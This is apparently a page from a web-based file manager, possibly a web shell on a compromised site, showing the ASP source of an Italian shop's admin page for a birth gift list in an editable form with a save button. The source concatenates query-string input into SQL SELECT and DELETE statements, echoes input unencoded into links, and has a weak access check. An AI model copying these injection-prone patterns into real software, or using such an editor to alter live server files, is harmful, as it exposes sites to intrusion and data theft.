Modifica di un file

<title>Modifica di un file</title>
Modificare il file: <i>\Admin\proList.asp</i><br><form method=post action="edit.asp?action=save&dir=\Admin&file=proList.asp"><textarea name='content' style='width: 700px;' rows=20 cols=70>&lt;%@LANGUAGE=&quot;VBSCRIPT&quot; CODEPAGE=&quot;1252&quot;%&gt;
&lt;!--#include file=&quot;ecommerce.asp&quot; --&gt;
&lt;%
' *** Edit Operations: declare variables

Dim MM_editAction
Dim MM_abortEdit
Dim MM_editQuery
Dim MM_editCmd

Dim MM_editConnection
Dim MM_editTable
Dim MM_editRedirectUrl
Dim MM_editColumn
Dim MM_recordId

Dim MM_fieldsStr
Dim MM_columnsStr
Dim MM_fields
Dim MM_columns
Dim MM_typeArray
Dim MM_formVal
Dim MM_delim
Dim MM_altVal
Dim MM_emptyVal
Dim MM_i

MM_editAction = CStr(Request.ServerVariables(&quot;SCRIPT_NAME&quot;))
If (Request.QueryString &lt;&gt; &quot;&quot;) Then
  MM_editAction = MM_editAction &amp; &quot;?&quot; &amp; Server.HTMLEncode(Request.QueryString)
End If

' boolean to abort record edit
MM_abortEdit = false

' query string to execute
MM_editQuery = &quot;&quot;
%&gt;
&lt;%
' *** Delete Record: declare variables

if (CStr(Request(&quot;MM_delete&quot;)) = &quot;form2&quot; And CStr(Request(&quot;MM_recordId&quot;)) &lt;&gt; &quot;&quot;) Then

  MM_editConnection = MM_ecommerce_STRING
  MM_editTable = &quot;Prodotti&quot;
  MM_editColumn = &quot;ID&quot;
  MM_recordId = &quot;&quot; + Request.Form(&quot;MM_recordId&quot;) + &quot;&quot;
  MM_editRedirectUrl = &quot;&quot;

  ' append the query string to the redirect URL
  If (MM_editRedirectUrl &lt;&gt; &quot;&quot; And Request.QueryString &lt;&gt; &quot;&quot;) Then
    If (InStr(1, MM_editRedirectUrl, &quot;?&quot;, vbTextCompare) = 0 And Request.QueryString &lt;&gt; &quot;&quot;) Then
      MM_editRedirectUrl = MM_editRedirectUrl &amp; &quot;?&quot; &amp; Request.QueryString
    Else
      MM_editRedirectUrl = MM_editRedirectUrl &amp; &quot;&amp;&quot; &amp; Request.QueryString
    End If
  End If
  
End If
%&gt;
&lt;%
' *** Delete Record: construct a sql delete statement and execute it

If (CStr(Request(&quot;MM_delete&quot;)) &lt;&gt; &quot;&quot; And CStr(Request(&quot;MM_recordId&quot;)) &lt;&gt; &quot;&quot;) Then

  ' create the sql delete statement
  MM_editQuery = &quot;delete from &quot; &amp; MM_editTable &amp; &quot; where &quot; &amp; MM_editColumn &amp; &quot; = &quot; &amp; MM_recordId

  If (Not MM_abortEdit) Then
    ' execute the delete
    Set MM_editCmd = Server.CreateObject(&quot;ADODB.Command&quot;)
    MM_editCmd.ActiveConnection = MM_editConnection
    MM_editCmd.CommandText = MM_editQuery
    MM_editCmd.Execute
    MM_editCmd.ActiveConnection.Close

    If (MM_editRedirectUrl &lt;&gt; &quot;&quot;) Then
      Response.Redirect(MM_editRedirectUrl)
    End If
  End If

End If
%&gt;
&lt;%
' *** Restrict Access To Page: Grant or deny access to this page
MM_authorizedUsers=&quot;&quot;
MM_authFailedURL=&quot;login.asp&quot;
MM_grantAccess=false
If Session(&quot;MM_UsernameDaMaSOFTLista&quot;) &lt;&gt; &quot;&quot; Then
  If (true Or CStr(Session(&quot;MM_UserAuthorization&quot;))=&quot;&quot;) Or _
         (InStr(1,MM_authorizedUsers,Session(&quot;MM_UserAuthorization&quot;))&gt;=1) Then
    MM_grantAccess = true
  End If
End If
If Not MM_grantAccess Then
  MM_qsChar = &quot;?&quot;
  If (InStr(1,MM_authFailedURL,&quot;?&quot;) &gt;= 1) Then MM_qsChar = &quot;&amp;&quot;
  MM_referrer = Request.ServerVariables(&quot;URL&quot;)
  if (Len(Request.QueryString()) &gt; 0) Then MM_referrer = MM_referrer &amp; &quot;?&quot; &amp; Request.QueryString()
  MM_authFailedURL = MM_authFailedURL &amp; MM_qsChar &amp; &quot;accessdenied=&quot; &amp; Server.URLEncode(MM_referrer)
  Response.Redirect(MM_authFailedURL)
End If
%&gt;
&lt;%
Dim marca
Dim marca_numRows

Set marca = Server.CreateObject(&quot;ADODB.Recordset&quot;)
marca.ActiveConnection = MM_ecommerce_STRING
marca.Source = &quot;SELECT DISTINCT Marca  FROM Prodotti&quot;
marca.CursorType = 0
marca.CursorLocation = 2
marca.LockType = 1
marca.Open()

marca_numRows = 0
%&gt;
&lt;%
Dim Tipo
Dim Tipo_numRows

Set Tipo = Server.CreateObject(&quot;ADODB.Recordset&quot;)
Tipo.ActiveConnection = MM_ecommerce_STRING
Tipo.Source = &quot;SELECT DISTINCT Classe  FROM Prodotti&quot;
Tipo.CursorType = 0
Tipo.CursorLocation = 2
Tipo.LockType = 1
Tipo.Open()

Tipo_numRows = 0
%&gt;

&lt;%
Dim Lista
Dim Lista_numRows

Set Lista = Server.CreateObject(&quot;ADODB.Recordset&quot;)
Lista.ActiveConnection = MM_ecommerce_STRING
Lista.Source = &quot;SELECT * FROM Prodotti WHERE &quot; + Request.QueryString(&quot;Campo&quot;) + &quot; LIKE '%&quot; + Request.QueryString(&quot;Cosa&quot;) + &quot;%'&quot;
Lista.CursorType = 0
Lista.CursorLocation = 2
Lista.LockType = 1
Lista.Open()

Lista_numRows = 0
%&gt;
&lt;%
Dim Repeat1__numRows
Dim Repeat1__index

Repeat1__numRows = -1
Repeat1__index = 0
Tipo_numRows = Tipo_numRows + Repeat1__numRows
%&gt;
&lt;%
Dim Repeat2__numRows
Dim Repeat2__index

Repeat2__numRows = -1
Repeat2__index = 0
marca_numRows = marca_numRows + Repeat2__numRows
%&gt;
&lt;%
Dim Repeat3__numRows
Dim Repeat3__index

Repeat3__numRows = -1
Repeat3__index = 0
Lista_numRows = Lista_numRows + Repeat3__numRows
%&gt;
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Lista Nascite - Amministrazione&lt;/title&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot;&gt;
&lt;link href=&quot;../CSS/style.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function MM_goToURL() { //v3.0
  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
  for (i=0; i&lt;(args.length-1); i+=2) eval(args[i]+&quot;.location='&quot;+args[i+1]+&quot;'&quot;);
}
//--&gt;
&lt;/script&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;div align=&quot;center&quot; class=&quot;Stile1&quot;&gt;
  &lt;p&gt;&lt;img border=&quot;0&quot; src=&quot;../immagini/Art_inseriti.jpg&quot; width=&quot;254&quot; height=&quot;79&quot;&gt;&lt;/p&gt;
  &lt;p&gt;
    &lt;input name=&quot;Submit2&quot; type=&quot;button&quot; style=&quot;font-family: Verdana; font-size: 10px; border: 1px solid #C0C0C0&quot; onClick=&quot;MM_goToURL('parent','default.asp');return document.MM_returnValue&quot; value=&quot;Indietro&quot;&gt;
  &lt;/p&gt;
  &lt;table width=&quot;623&quot; border=&quot;1&quot; class=&quot;Stile3&quot;&gt;
    &lt;tr bgcolor=&quot;#CCCCCC&quot;&gt;
      &lt;td width=&quot;248&quot;&gt;Per Lista Nascite: &lt;/td&gt;
      &lt;td width=&quot;349&quot;&gt;Cerca:&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr bordercolor=&quot;#000000&quot;&gt;
      &lt;td&gt;
        &lt;% 
While ((Repeat2__numRows &lt;&gt; 0) AND (NOT marca.EOF)) 
%&gt;
        &lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;proList.asp?campo=Marca&amp;cosa=&lt;%=(Marca.Fields.Item(&quot;Marca&quot;).Value)%&gt;&quot;&gt;&lt;%=(marca.Fields.Item(&quot;Marca&quot;).Value)%&gt;&lt;/a&gt;&lt;br&gt;
        &lt;/div&gt;
      &lt;% 
  Repeat2__index=Repeat2__index+1
  Repeat2__numRows=Repeat2__numRows-1
  marca.MoveNext()
Wend
%&gt;&lt;/td&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;
        &lt;form name=&quot;form1&quot; method=&quot;get&quot; action=&quot;proList.asp&quot;&gt;
Campo:
&lt;select name=&quot;Campo&quot; size=&quot;1&quot; id=&quot;Campo&quot; style=&quot;font-family: Verdana; font-size: 10px&quot;&gt;
  &lt;option value=&quot;Nome&quot; &lt;%If (Not isNull(Request.QueryString(&quot;campo&quot;))) Then If (&quot;Nome&quot; = CStr(Request.QueryString(&quot;campo&quot;))) Then Response.Write(&quot;SELECTED&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;Articolo&lt;/option&gt;
  &lt;option value=&quot;Descrizione&quot; &lt;%If (Not isNull(Request.QueryString(&quot;campo&quot;))) Then If (&quot;Descrizione&quot; = CStr(Request.QueryString(&quot;campo&quot;))) Then Response.Write(&quot;SELECTED&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;Descrizione&lt;/option&gt;
  &lt;option value=&quot;Prezzo&quot; &lt;%If (Not isNull(Request.QueryString(&quot;campo&quot;))) Then If (&quot;Prezzo&quot; = CStr(Request.QueryString(&quot;campo&quot;))) Then Response.Write(&quot;SELECTED&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;Prezzo&lt;/option&gt;
  &lt;option value=&quot;Cod&quot; &lt;%If (Not isNull(Request.QueryString(&quot;campo&quot;))) Then If (&quot;Cod&quot; = CStr(Request.QueryString(&quot;campo&quot;))) Then Response.Write(&quot;SELECTED&quot;) : Response.Write(&quot;&quot;)%&gt;&gt;Codice&lt;/option&gt;
          &lt;/select&gt;
Cosa:
&lt;input type=&quot;text&quot; name=&quot;cosa&quot; size=&quot;20&quot; style=&quot;font-family: Verdana; font-size: 10px; border: 1px solid #C0C0C0&quot;&gt;
          &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Cerca&quot; style=&quot;font-family: Verdana; font-size: 10px; border: 1px solid #C0C0C0&quot;&gt;
        &lt;/form&gt;
      &lt;/div&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p&gt;&amp;nbsp;  &lt;/p&gt;

  
  &lt;% If Not Lista.EOF Or Not Lista.BOF Then %&gt;
  &lt;table border=&quot;0&quot; class=&quot;Stile3&quot;&gt;
    &lt;tr bgcolor=&quot;#CCCCCC&quot;&gt;
      &lt;td&gt;ID&lt;/td&gt;
      &lt;td&gt;Cod.&lt;/td&gt;
      &lt;td width=&quot;113&quot;&gt;Articolo&lt;/td&gt;
      &lt;td&gt;Descrizione&lt;/td&gt;
      &lt;td&gt;Prezzo&lt;/td&gt;
      &lt;td&gt;Foto&lt;/td&gt;
      &lt;td&gt;Lista Nascita&lt;/td&gt;
      &lt;!-- &lt;td&gt;Cod&lt;/td&gt; --&gt;
      &lt;td&gt;Prenotato da&lt;/td&gt;
      &lt;td&gt;Disp.&lt;/td&gt;
      &lt;!-- #########################################
      &lt;!-- AGGIUNTA 20/08/2013
      &lt;!-- ######################################### --&gt;
      &lt;td&gt;E-mail&lt;/td&gt;
      &lt;td&gt;Eliminazione&lt;/td&gt;
    &lt;/tr&gt;
    &lt;% While ((Repeat3__numRows &lt;&gt; 0) AND (NOT Lista.EOF)) %&gt;
    &lt;tr bgcolor=&quot;&lt;%
If (Repeat3__numRows Mod 2) Then
	Response.Write(&quot;#ffcc66&quot;)
Else
	Response.Write(&quot;#ffff66&quot;)
End IF
%&gt;&quot;&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;

      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Cod&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;

      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Nome&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
      &lt;td width=&quot;213&quot;&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Descrizione&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=FormatCurrency((Lista.Fields.Item(&quot;Prezzo&quot;).Value))%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Foto&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Marca&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
&lt;!--      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Classe&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt; --&gt;
&lt;!--      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Cod&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt; --&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Prenotato&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
      
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;Dispo&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
 &lt;!-- #########################################
      &lt;!-- AGGIUNTA 20/08/2013
      &lt;!-- ######################################### --&gt;
      &lt;td&gt;&lt;div align=&quot;left&quot;&gt;&lt;a href=&quot;hitProd_noz.asp?IDp=&lt;%=(Lista.Fields.Item(&quot;ID&quot;).Value)%&gt;&amp;campo=&lt;%=Request.QueryString(&quot;campo&quot;)%&gt;&amp;cosa=&lt;%=Request.QueryString(&quot;cosa&quot;)%&gt;&quot;&gt;&lt;%=(Lista.Fields.Item(&quot;email&quot;).Value)%&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;  

      &lt;td&gt;&lt;form name=&quot;form2&quot; method=&quot;POST&quot; action=&quot;&lt;%=MM_editAction%&gt;&quot;&gt;
          &lt;input type=&quot;submit&quot; name=&quot;Submit3&quot; value=&quot;Elimina&quot; style=&quot;font-family: Verdana; font-size: 10px; border: 1px solid #C0C0C0&quot;&gt;
          &lt;input type=&quot;hidden&quot; name=&quot;MM_delete&quot; value=&quot;form2&quot;&gt;
          &lt;input type=&quot;hidden&quot; name=&quot;MM_recordId&quot; value=&quot;&lt;%= Lista.Fields.Item(&quot;ID&quot;).Value %&gt;&quot;&gt;
      &lt;/form&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;% 
  Repeat3__index=Repeat3__index+1
  Repeat3__numRows=Repeat3__numRows-1
  Lista.MoveNext()
Wend
%&gt;
&lt;/table&gt;
  &lt;% End If ' end Not Lista.EOF Or NOT Lista.BOF %&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;%
marca.Close()
Set marca = Nothing
%&gt;
&lt;%
Tipo.Close()
Set Tipo = Nothing
%&gt;
&lt;%
Lista.Close()
Set Lista = Nothing
%&gt;</textarea><br><input type=submit value='Save !'></form>[<a href="sfmanager.asp?dir=%5CAdmin">Íàçàä</a>]